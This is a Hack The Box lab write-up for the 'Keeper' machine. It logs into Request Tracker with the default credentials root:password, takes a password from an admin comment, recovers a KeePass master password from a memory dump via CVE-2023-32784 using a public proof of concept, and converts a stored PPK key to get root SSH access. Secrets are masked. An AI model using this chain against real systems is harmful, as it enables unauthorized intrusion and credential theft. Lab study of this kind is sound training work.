Keeper (HTB)
Platform: Hack The Box
OS: Linux
Difficulty: Easy
Result: root
Attack Chain
Reconnaissance
├── nmap -sV -sC keeper.htb → 22 (OpenSSH 8.9p1 Ubuntu), 80 (nginx 1.18.0)
└── curl / → link to tickets.keeper.htb/rt/
└── /etc/hosts: 10.129.229.41 keeper.htb tickets.keeper.htb
Foothold (Request Tracker)
├── curl /rt/ → RT 4.4.4+dfsg-2ubuntu1
├── Default credentials: root:password
├── Ticket #300000 → Owner: lnorgaard, attachment KeePassDumpFull.dmp
└── Admin → Users → id=27 → Comments: "Initial password set to <PASSWORD>"
SSH Access (lnorgaard)
├── ssh lnorgaard@keeper.htb → <PASSWORD>
├── ls → RT30000.zip, user.txt
└── cat user.txt → <USER_FLAG>
KeePass Memory Dump (CVE-2023-32784)
├── unzip RT30000.zip → KeePassDumpFull.dmp, passcodes.kdbx
├── scp to Kali
├── git clone keepass-dump-masterkey
├── python3 poc.py KeePassDumpFull.dmp
│ └── Possible password: <PASSWORD>
├── Manual reconstruction (Danish phrase): <PASSWORD>
├── KeeWeb → opening passcodes.kdbx
└── root entry: PPK key
Root
├── nano keeper.ppk (paste PPK)
├── puttygen keeper.ppk -O private-openssh -o keeper.pem
├── chmod 600 keeper.pem
└── ssh -i keeper.pem root@keeper.htb → cat /root/root.txt
NOTE
All flags, passwords, hashes, and session tokens have been masked for ethical reasons.
Machine Briefing
nginx + Request Tracker 4.4.4 with default credentials. The ticket contains a memory dump of KeePass 2.x, vulnerable to CVE-2023-32784.
Reconnaissance
Port Scan
sudo nmap -sV -sC keeper.htb
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 Ubuntu |
| 80 | HTTP | nginx 1.18.0 |
curl -s http://keeper.htb
<a href="http://tickets.keeper.htb/rt/">To raise an IT support ticket, please visit tickets.keeper.htb/rt/</a>
echo "10.129.229.41 keeper.htb tickets.keeper.htb" | sudo tee -a /etc/hosts
Foothold (Request Tracker)
No CVE (custom vulnerability) - the Request Tracker admin account uses the default password, giving access to the ticket queue and the KeePass database.
curl -s http://tickets.keeper.htb/rt/ | grep -i -E "version|RT "
RT 4.4.4+dfsg-2ubuntu1.
Username: root
Password: password
curl -s -c cookies.txt -b cookies.txt -X POST http://tickets.keeper.htb/rt/ \
--data "user=root&pass=password" -L -o response.html
grep -i "logged in as" response.html
# Logged in as root
Ticket:
#300000 - "Issue with Keepass Client on Windows"
Owner: lnorgaard (Lise Nørgaard)
Attachment - KeePassDumpFull.dmp.
User password:
http://tickets.keeper.htb/rt/Admin/Users/Modify.html?id=27
# Comments: New user. Initial password set to <PASSWORD>
SSH Access
ssh lnorgaard@keeper.htb
# Password: <PASSWORD>
ls
# RT30000.zip user.txt
cat user.txt
# <USER_FLAG>
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
KeePass Memory Dump
unzip RT30000.zip
# KeePassDumpFull.dmp, passcodes.kdbx
exit
scp lnorgaard@keeper.htb:~/KeePassDumpFull.dmp .
scp lnorgaard@keeper.htb:~/passcodes.kdbx .
CVE-2023-32784 (NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-32784)
KeePass 2.x before 2.54 - master password fragments are stored in process memory (memory dump attack).
git clone https://github.com/CMEPW/keepass-dump-masterkey
cd keepass-dump-masterkey
python3 -m venv venv
source venv/bin/activate
python3 poc.py ~/Desktop/KeePassDumpFull.dmp
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Possible password: <PASSWORD>
The Danish phrase:
<PASSWORD>
Open via KeeWeb (https://app.keeweb.info/). The root entry contains a PPK key.
Root
nano keeper.ppk
# paste the whole PPK block
sudo apt install putty-tools
puttygen keeper.ppk -O private-openssh -o keeper.pem
chmod 600 keeper.pem
ssh -i keeper.pem root@keeper.htb
cat /root/root.txt
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Flags
| Flag | Value |
|---|---|
| User | <USER_FLAG> |
| Root | <ROOT_FLAG> |
Key Takeaways
- Default credentials for popular software -
root:passwordfor Request Tracker. - Helpdesk as a leak source - tickets contain sensitive attachments.
- CVE-2023-32784 (KeePass) - the password manager itself becomes a leak source.
- Partial password recovery requires context - the Danish phrase.
- Storing SSH keys in KeePass - DB compromise = SSH compromise.
- PPK ≠ OpenSSH -
puttygenfor conversion.